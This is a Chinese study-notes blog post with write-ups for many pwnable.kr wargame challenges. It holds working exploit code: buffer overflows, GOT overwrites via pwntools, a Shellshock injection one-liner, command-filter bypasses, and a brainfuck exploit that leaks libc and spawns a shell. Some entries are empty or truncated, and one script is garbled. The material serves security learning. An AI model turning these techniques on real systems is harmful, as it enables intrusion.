pwn学习笔记汇总(持续更新)
![]()
- pwnable.kr
- (一):安装pwntools
- (二):pwnable-fd
- (三):pwnable-collision
- (四):pwnable-bof
- (五):pwnable-flag
- (六):pwnable-passcode
- (七):pwnable-random
- (七):pwnable-input2
- (九):pwnable-leg
- (十):pwnable-mistake
- (十一):pwnable-shellshock
- (十二):pwnable-coin1
- (十三):pwnable-lotto
- (十四):pwnable-cmd1
- (十五):pwnable-cmd2
- (十六):pwnable-uaf
- (十七):pwnable-memcpy
- (十八):pwnable-codemap
- (十九):pwnable-brain_fuck
- (二十):pwnable-md5_calculator
- (二十一):pwnable-simple_login
- (二十二):pwnable-asm
- (二十三):pwnable-tiny_easy
- (二十四):pwnable-fsb
- (二十五):pwnable-dragon
- (二十六):pwnable-fix
- (二十七):pwnable-crypto1
- (二十八):pwnable-echo1
- (二十九):pwnable-echo2
- (三十):pwnable-unlink
- (三十一):pwnable-note
- (三十二):pwnable-otp
- (三十三):pwnable-rsa_calculator
(一):安装pwntools
嗯,第一步竟是这样地惨绝人寰,pwntools是我目前见过最难装的python库,为此我在3天时间内接连换了4次系统
忘记说了,最近入手了一款chromebook,装ubuntu用的crouton,最后在unity-destop下装好了pwntools
简单说下一路上的坑
0.准备一个Ubuntu 12或者14,别任性。
1.得到一个干净的系统后首先执行
sudo apt-get update
千万不要马上把什么清华源,中科大源加进来,pwntools的依赖很多,某些依赖在新版本上不稳定甚至无法使用,我4次装机中某一次就是因为用清华源upgrade一次,pwntools的依赖全部炸掉了。
sudo apt-get install python2.7 python-pip python-dev git libssl-dev sudo pip install --upgrade pwntools
2.接着你可以发呆,反正会安装失败
你会在某一步得到一个错误提示:
error gcc failed with exit status 1
哈,千万不要着急,博主在网上查了好几天都没有有效的解决方案
3.查看log
博主最终翻了翻pip.log,读了好一会儿,感觉像是安装cffi出错
3.手动安装cffi
既然pwntools自动安装cffi失败,我就直接
sudo pip install cffi
哈,显示成功
5.重新安装pwntools
sudo pip install --upgrade pwntools
这样就能成功装上pwntools
博主装上pwntools的时候真是不敢相信,转而泪流满面。。。。。
Tip:不要手贱sudo apt-get install python3
Tip:不要手贱sudo apt-get install python3
Tip:不要手贱sudo apt-get install python3
(二):pwnable-fd
pwnable.kr是一个很不错的网站

今天做的第一题,是关于linux的file descriptor

2.输入密码(guest)
查看目录下内容和权限

能下手的只有fd.c
3.查看fd.c
输入
cat fd.c

很简单的代码,fd-0x1234后作为File descriptor传给read,谷歌file descriptor
4.寻找read的fd值

维基上说道如果要读入,fd=0,于是传入参数0x1234(10进制4660)
最后得到flag
exp如下
from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(argv=['fd','4660'],executable='./fd')
sh.sendline("LETMEWIN")
print (sh.recvall())
(三):pwnable-collision
博主做出这道题后去看了看网上做法,是自己做的复杂了,也敢厚着脸皮放上来
2.查看col.c
#include
#include
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
原本是char类型被强制转换成int类型
博主在这里传入的参数是20个9
接下来博主开始分析
3.分析代码
9的ascii码是57,对应16进制39,内存中的存在形式应该是
3939 3939 3939 3939 3939 3939 3939 3939
由于int是4个字节,所以p指针指向的值为0x39393939,对应10进制960051513
再看代码可以知道有5次相加,由于int的最大值是2147483647,超过这个值就会跌到-2147483648
可以计算得到:
第一次for循环后:res值为960051513
第二次for循环后:res值为1920103026
第三次for循环后:res值为-1414812757(注意这里爆掉了,爆出的部分加上-2147483648)
第四次for循环后:res值为-454761244
第五次for循环后:res值为505290269

我总结一个公式来计算得到第五次循环后的res
设2147483647为N1,2147483648为N2,960051513为g,突破int上限t次(此例t=1),第五次循环后res为x
x=N1-{[(N1+N2+1)*t+N1]-5*g}
为什么要+1?你想想为什么2147483647+1=-2147483648而不是-2147483647?因为还有个0没有计算啊
根据这个公式倒推
将x=0x21DD09EC(十进制568134124)带入,枚举突破int上限的次数t
得到t=1时,g=972620284(十六进制0x39F901FC)
4.提交
注意,目标计算机使用小端序,需要将\x39\xF9\x01\xFC倒置
![]()
得到flag
exp如下
from pwn import * import os pwn_ssh=ssh(host='pwnable.kr',user='col',password='guest',port=2222) print (pwn_ssh.connected()) sh=pwn_ssh.process(argv=['collision','\xfc\x01\xf9\x39' * 5],executable='./col') print (sh.recvall())
(四):pwnable-bof
这道题是缓冲区溢出,应该是非常基础的,虽然我做了整整一天啊
1.看看题目
2.下载bof,查看源代码
只要咱们能通过overflow覆盖key的值,就能成功拿到shell
3.用radare2分析程序
如上图,看到两个关键函数
sym.main sym.func
看到arg_8h参数地址是ebp-0x8,local_2ch地址是ebp-0x2c(非常关键)
继续分析可知,ebp+arg_8h是key,local_2ch就是overflow数组
于是我的目标就是覆盖ebp-0x8
4.gdb调试
为了调试方便,先确定cmp比较时的位置,下个断点,如图可知,位置是
*func+40

传入32个A,此时还没有溢出,查看内存,还没什么异样,key的位置仍然是deadbeef

查看overflow位置(ebp-44),发现上面被填满了A,共32个字节。
如果要填到key的位置,还差20个字节,所以一共需要填充
32+20=52个字节
<br/

重新调试,key位置填充成BBBB,查看内存,的确被覆盖了
所以我只需要把BBBB换成\xbe\xba\xfe\xca就行
exp如下
from pwn import *
pwn_socket=remote('pwnable.kr',9000)
pwn_socket.sendline('A' * 52 + '\xbe\xba\xfe\xca')
pwn_socket.interactive()
得到shell后查看flag
(五):pwnable-flag
r2 flag aaa afl
分析出来大量符号,没什么可读性,应该是加了壳
upx -d flag
(六):pwnable-passcode
下载后查看源码
#include
#include
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
可以看到第9行和第14行的scanf读入有问题,载进gdb调试
可以看到passcode1的位置被覆盖成41414141,意思就是我们可以操控passcode1到任意地址。
接下来博主搞了很久都没有进展,只有查了题解,原来是通过控制passcode1,向fflush的GOT里写入地址,这样执行fflush时就会跳转到写入的地址。
继续查看fflush的GOT地址和需要跳转到的地址
0x080485d7=134514135
所以最后的payload是
'A'*96+'\x04\xa0\x04\x08'+'134514135'
可以查看fflush的GOT
已经被修改成了我需要的地址,执行就行得到flag
exp如下:
from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./passcode")
print (sh.recv())
sh.sendline('A'*96+'\x04\xa0\x04\x08'+'134514135')
print (sh.recvall())
(七):pwnable-random
下载源码查看
#include
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
这代码一看就没加随机种子,所以随机值根本不会改变
直接进入gdb看随机值(省去中间步骤)

异或可逆
0xdeadbeef xor 0x6b8b4567 = 0xB526FB88
所以答案为0xB526FB88
exp如下:
from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='random',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./random")
sh.sendline('3039230856')
print(sh.recvall())
(八):pwnable-input2
在服务器上运行代码时遇到了一些困难,工作目录如果在flag目录下,没法创建\x0a,在当前目录下没法获得flag
(九):pwnable-leg
首先leg.c代码如下
#include
#include
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
它的汇编代码如下
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8
0x00008d68 <+44>: bl 0x8cd4
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; instruction: 0x0006a4b0
0x00008dcc <+144>: ; instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
可以看到是一个arm汇编
由于对arm汇编不熟,所以查了很多资料
http://infocenter.arm.com/help/index.jsp
http://blog.chinaunix.net/uid-26967414-id-3823606.html
arm的流水线使用三个阶段,因此指令分为三个阶段执行:1.取指(从存储器装载一条指令);2.译码(识别将要被执行的指令);3.执行(处理 指令并将结果写回寄存器)。
R13(SP)是堆栈指针
R14(lr)是连接寄存器
这个lr一般来说有两个作用:
1》.当使用bl或者blx跳转到子过程的时候,r14保存了返回地址,可以在调用过程结尾恢复。
2》.异常中断发生时,这个异常模式特定的物理R14被设置成该异常模式将要返回的地址。
R15(PC)总是指向“正在取指”的指令,而不是指向“正在执行”的指令或正在“译码”的指令。一般来说,人们习惯性约定 将“正在执行的指令作为参考点”,称之为当前第一条指令,因此PC总是指向第三条指令。
所以key1就是保存的PC值:0x00008cdc+0x8=0x00008ce4
所以key2就是保存的PC+4值:0x00008d04+0x4+0x4=0x00008d0c
所以key3就是保存的LR值:0x00008d80
0x00008ce4+0x00008d0c+0x00008d80=0x00001a770=108400(d)
(十):pwnable-mistake
#include
#include
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/etenal/pwnable.kr/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0; } printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
这题很容易知道哪里有蹊跷,在do not bruteforce…后面竟然没有从文件读入,而需要手工输入
查看代码
fd=open("/home/etenal/pwnable.kr/mistake/password",O_RDONLY,0400) < 0
小于符号(<)的优先级是高于等于符号(=)的

如果打开成功,open会返回一个非负数,所以<0为假,fd得到的值恒为0。也就需要用户手动输入了。
异或操作很简单,在本地测试一组数据,成功后去拿flag

(十一):pwnable-shellshock
https://en.wikipedia.org/wiki/Shellshock_(software_bug)
执行
env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test"
发现bash存在shellshock漏洞
直接打出flag
env x='() { :;}; /bin/cat flag' ./shellshock
(十二):pwnable-coin1
游戏规则是给了N个硬币,C次机会,每次可以称任意数目的硬币质量,真硬币质量为10,假硬币质量为9,要求在C+1次输出哪一枚硬币是假的。
我用的二分找硬币,注意要在他的服务器上跑,本地对pwnable.kr的速度慢到掉渣,很容易一次性收到几个包。
import socket
import time
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('pwnable.kr',9007))
print (s.recv(4096))
time.sleep(3)
tot=0
index={}
string=''
for n in range(0,1000):
string=string+str(n)+' '
if n!=0:
index[n]=index[n-1]+len(str(n-1))+1
else:
index[0]=0
#print (string[index[6]:index[118]])
while tot-1:
s.send(str(l)+'\n')
#print (C)
C=C-1
correct=s.recv(4096)
if (len(correct)!=0 and correct[0]!='C'):
correct=s.recv(4096)
print ("Correct:"+correct)
tot=tot+1
print (s.recv(4096))
(十三):pwnable-lotto
你怎么少做了一道题?!!
你看那个blackjack规则那么长,才一分,就不想做了。。。
这道lotto我的解法是纯爆破
一直输******直到出flag,不知道正解是什么
from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
p=pwn_ssh.process(executable='./lotto')
while (1):
p.sendline('1')
p.sendline('******')
print (p.recv(4096))
(十四):pwnable-cmd1
看代码是不允许输入带有“flag”“sh”“tmp”的字符串
可以考虑用通配符或者拼接字符,不知道题目给出的PATH有什用
./cmd1 "/bin/cat fla*"
或者
./cmd1 "/bin/cat 'fla''g'"
(十五):pwnable-cmd2
(十六):pwnable-uaf
关于uaf可以参考下面一篇文章:
http://www.evil0x.com/posts/24881.html
关于vtable可以参考这几篇文章:
http://blog.csdn.net/haoel/article/details/1948051
http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html
查看uaf.cpp
#include
#include
#include
#include
#include
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n"; cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
可以看到父类Human有虚函数give_shell和introduce,子类Man和Woman继承了父类并且重载了父类的introduce虚函数。
下面这个图是Human的虚表

红色是Human的虚函数
下面这个图是Man的虚表

红色是Human的虚函数,蓝色是Man的虚函数,但是注意,用Man->give_shell是会报错的,因为Human将give_shell设置的private。
r2 uaf aaa afl
Human::give_shell 0x0040117a Man::introduce 0x004012d2
查看main函数的汇编代码,在new操作符上面可以看到分配了0x18(24h)的空间
![]()
接下来用gdb动态调试
在case1下面停下来
这段代码可以看到从rbp-0x38取出了一个指针,可以推测这个是类的指针

两个指针分别指向
0x603040
和
0x603090

这个指针指向的首地址就是虚表指针,进入虚表可以看到Human::give_shell的地址0x0040117a和Man::introduce的地址0x004012d2
那么要怎样才能让程序执行introduce时却执行了give_shell呢?可以看到这两个函数始终相差8个字节,因为我可以操控释放后的内存,所以可以改变虚表指针的值,只用把原始的0x401570改成0x401568就会让程序执行give_shell
cat flag
就可以了
(十七):pwnable-memcpy
这道题只要能让程序成功运行就能拿到flag,先看代码
#include
#include
#include
#include
#include
#include <sys/mman.h>
#include
unsigned long long rdtsc(){
asm("rdtsc");
}
char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) { dest[i] = src[i]; } return dest; } char* fast_memcpy(char* dest, const char* src, size_t len){ size_t i; // 64-byte block fast copy if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}
// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}
int main(void){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");
printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");
printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");
unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t sizes[10];
int i=0;
// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}
sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);
// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}
printf("thanks for helping my experiment!\n");
printf("flag : ----- erased in this source code -----\n");
return 0;
}
程序在测试两种内存拷贝的速度,slow_memcpy是逐字拷贝,fast_memcpy是每16字一次拷贝,并且不需要走缓存直接写入内存(non-temporal),关键部分就在fast_memcpy
char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}
// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}
64字节部分用这段汇编代码处理,小于64字节的多余部分用slow_memcpy处理,那直接来看这段汇编代码。
我查阅了不少资料啊。
你肯定知道8位寄存器 16位寄存器 32位寄存器,XMM就是128位寄存器,严谨点来说XMM不能说是一个寄存器,它是由多个其他(包括8-64位寄存器组合起来的)
汇编指令看英特尔的文档,里面写movdqa和movntps的部分我截图如下

可以看到movdqa是把128位寄存器从内存存入或者取出,注意这个a的含义是Aligned,意为对齐。文中提到
When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary
or a general-protection exception (#GP) will be generated
意思是如果用movdqa对内存进行操作,这块内存必须有一个16字节的边界,否则就会抛出GP错误异常(例如segmentation fault)

movntps也说到了,操作的内存必须有个16字节或者32字节的边界
这是解题的关键,那我先从字节开始说起。
首先要了解什么是位(bit),一个位就是一个0或者1,在内存中,每8个位(0x00000000)就是一个字节(byte)

源代码中用了
dest = malloc( size );
来分配内存,为了调试方便,我加上了
printf("dest : %x\n",dest);
随便输入了几组数据

可以看到第4组(大于64)发生了Segmentation fault,这是因为我没有给程序留出16字节的边界,方法很简单:
0x88-0x40=0x48(72h)
再留出16byte的边界
72-16=56
所以第三组的size应该是56。同时还要注意一个问题,之后malloc的地址会根据你先前malloc的大小发生改变,比如experiment 4处填入64和128,experiment 5的地址是不一样的,我举个栗子:

这张图0xc8-0x80-0x10(16h)<64,而experiment 4要求的值必须在64-128之间,看下面一张图

0x108-0x80-0x10=0x78(120h)
所以experiment 4处填入120
以此类推,我得到的所有数据为
13 50 56 120 184 504 1016 2040 4088 4096
提交这组数据可以得到flag
参考资料
Intel:Intel® 64 and IA-32 Architectures Software Developer Manuals
Bit and Bytes:Bits and Bytes
Aligned:Data structure alignment
(十八):pwnable-codemap
这是一个exe,程序内会生成1000颗分支(有一个hash值和一个size值),但是程序只输出最大的一颗,想要得到flag需要回答pwnable的问题,他会询问第n大的chunk的hash值是多少。
第一个红框内是生成hash值的代码,hash储存在ebx中,size储存在eax中。为了得到每一个eax和ebx,我写了个inline patch,在程序尾部找到一块空白区域
inline patch
上图中,我把两条mov语句
mov eax, dword ptr [ebp - 0x5c] mov byte ptr [ebx + 0xf], 0
移到了程序结尾,用一个jmp跳转连接两块区域
- 复制原本的两条mov指令
- 将当前的size和hash保存
- 开辟一块内存空间,向其中写入字符串“%d %s\n”
- 把当前size和hash值传回给eax和ebx,并将hash,size,“%d %s\n”依次压入栈,最终的效果相当于printf(“%d %s\n”,size,hash);
- 返回到原来的代码空间(上上图中cmp eax, dword ptr [ebp – 0x54]一句)
将修改后的程序导出,发现已经可以打印所有的chunk,但是怎样获取这1000组chunk呢?
博主走了一个大弯路,写了一个dll
// codemap.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
#include
FILE *fd;
void Init()
{
MessageBoxA(NULL, "Got it!", "Got it!", MB_OK);
freopen_s(&fd, "output.txt", "w", stdout);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Init();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
fclose(fd);
break;
}
return TRUE;
}
并将这个dll注入进了修改后的codemap,意图是将chunk全部输出到文件output.txt,但是对于线程理解的不深刻,在codemap退出的时候发生了锁死,解决无果,就只能放弃。
最后的做法是用python
import subprocess
def cmp(a):
if a[0]>':':
return 999999
snum,string=a.split(' ')
num=int(snum)
return num
argv=['D:\\dump4.exe']
p=subprocess.Popen(args=argv,stdout=subprocess.PIPE)
text=p.communicate()
st=text[0].splitlines()
mylist=[]
for line in st:
line=line.decode('utf-8')
mylist.append(line)
f=open("output.txt","w")
dist=sorted(mylist,key=cmp)
for ele in dist:
f.write(ele+"\n")
这个程序按size从小到大排序,并且输出到output.txt
有了排序后的chunk就直接去拿flag
最吐血的是pwnable居然只问了2nd biggest和3nd biggest的chunk
早知道这样直接在汇编里改程序不就可以了么,白忙活博主一下午。
(十九):pwnable-brain_fuck
这道题的思路是通过修改GOT调用system获得shell
关键地方在这里

memset第一个参数是一个字符串指针,fgets第一个参数也是同一个字符串指针,如果修改成gets和system,gets将会读入到这个指针并传给system。(这个方法是在其他博客上看到的)
< 地址左移 > 地址右移 , 修改 . 读取 + 加1 - 减1
我在
这篇文章粗略地提到了GOT表,现在就需要把memset修改成gets,fgets修改成system,这两个函数的地址都可以从给我的.so文件里面获取到,最后再把putchar修改成main的地址,调用putchar将重新执行main,也就会执行gets和system。
这里需要补充的一个知识

简单点来说GOT在最开始的时候并不是指向了函数地址,而是在第一次调用后才会被修改成动态链接到函数地址,也就是你在获取当前程序某个导入函数地址时必须确保它至少执行过一次。
下面是我的exp:(参考了网上其他的exp)
from pwn import *
libc=ELF('/home/etenal/pwnable.kr/brain_fuck/bf_libc.so')
p=remote('pwnable.kr','9001')
print (p.recvline_startswith('type'))
payload='<'*(0x0804a0a0-0x0804a030)
payload=payload+'.'+'.>'*4+'<'*4+',>'*4 #putchar-> start
payload=payload+'<'*(0x0804a030+4-0x0804a02c)
payload=payload+',>'*4 #memset-> gets
payload=payload+'<'*(0x0804a02c+4-0x0804a010)+',>'*4+'.' #fgets -> system
p.sendline(payload)
p.recvn(1) #保证putchar被执行过一次
addr_putchar=p.recvn(4)[::-1].encode('hex')
addr_system=int(addr_putchar,16)-libc.symbols['putchar']+libc.symbols['system'];
addr_gets=int(addr_putchar,16)-libc.symbols['putchar']+libc.symbols['gets']
addr_start=0x080484e0
p.send(p32(addr_start))
p.send(p32(addr_gets))
p.send(p32(addr_system))
p.sendline('/bin/sh\x00')
p.interactive()
参考资料:
Pwnable.kr brainfuck writeup
[Pwnable.kr] BrainFuck
图摘自:Learning Linux Binary Analysis
(二十):pwnable-md5_calculator
这道题我本地很难拿flag,是因为time不同步
大致思路如下
g_buf长度是1024,栈内解码后的储存空间只有512,这里就会发生溢出。栈的结构如下

canary是栈保护机制,如果这个值被覆盖将会直接触发异常,但是这道题的captcha的生成使用到了carnary值,逆着算法算回去就能得到canary绕开栈保护。
#include
#include
#include
int main(int argc, char *argv[])
{
//time_t t = time(0);
int t=atoi(argv[1]);
int m=atoi(argv[2]);
srand(t);
int num[32];
for (int i=0;i<=7;i++)
{
num[i*4]=rand();
//printf ("num[%d]:%x\n",i*4, num[i*4]);
}
int tot = (num[4]+num[20])+(num[8]-num[12])+(num[28])+(num[16]-num[24]);
m -= tot;
printf ("%x\n",m);
return 0;
}
eip我将返回到程序结束的system调用处,当eip跳到system,新的esp将是system内执行的指令字符串指针,这个值也被我修改到了g_buf中保存有’/bin/sh’的位置,因为g_buf是全局变量,所以我可以向g_buf内传入一串正常的base64+’\x00’+’/bin/sh’。
exp在本地能够拿到shell,但是本地和服务器时间不同步,导致pwn时canary生成不一致,目前想到的解决方法是直接在服务器里面nc 0 9002,代码放在我的GITHUB。
exp如下
from pwn import *
import time
import random
def toHex(source):
tot=0
n=1
print (source)
source=source[::-1]
for i in source:
if ord(i)>ord('9'):
tmp=ord(i)-ord('a')+10
tot=tot+tmp*n
else:
tmp=ord(i)-ord('0')
tot=tot+tmp*n
n=n*16
return tot
